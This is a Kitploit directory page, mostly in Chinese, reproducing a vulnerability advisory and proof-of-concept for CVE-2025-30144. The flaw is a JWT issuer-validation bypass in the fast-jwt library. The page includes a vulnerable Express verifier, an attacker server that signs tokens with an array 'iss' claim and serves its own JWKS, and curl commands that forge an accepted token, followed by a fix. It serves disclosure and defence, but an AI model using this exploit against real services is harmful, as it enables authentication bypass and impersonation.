Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-30144 — Proof-of-concept for CVE-2025-30144: fast-jwt 库中的 JWT 签发者校验绕过漏洞,允许攻击者利用基于数组的 iss 声明伪造令牌。 | Kitploit
工具/GitHubGitHub/tibrn/cve-2025-30144
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证API 安全
GitHubtibrn/cve-2025-30144

CVE-2025-30144

Proof-of-concept for CVE-2025-30144: fast-jwt 库中的 JWT 签发者校验绕过漏洞,允许攻击者利用基于数组的 iss 声明伪造令牌。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

摘要

fast-jwt 库未能根据 RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 正确验证 iss 声明。

详情

fast-jwt 库中的 iss(颁发者)声明验证允许将字符串数组作为有效的 iss 值。这一设计缺陷导致潜在攻击,恶意行为者可以构造一个 JWT,其 iss 声明格式为 ['https://attacker-domain/', 'https://valid-iss']。由于宽松的验证,该 JWT 将被视为有效。

此外,如果应用程序依赖像 get-jwks 这样的外部库,且这些库不独立验证 iss 声明,攻击者可以利用此漏洞伪造一个被受害者应用程序接受的 JWT。本质上,攻击者可以将自己的域名插入到 iss 数组中,与合法颁发者并列,从而绕过预期的安全检查。

PoC

以下列代码运行的服务器为例:

root@kitploit:~
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

现在,我们构建一个用于生成 JWT 令牌并将验证密钥发送给受害者服务器的服务器:

root@kitploit:~
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
root@kitploit:~
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

影响

依赖 fast-jwt 验证 iss 声明的应用程序允许攻击者签署任意载荷,这些载荷将被验证器接受。

解决方案

将 https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 更改为只接受字符串作为值的验证器,如 RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 所述。

下载工具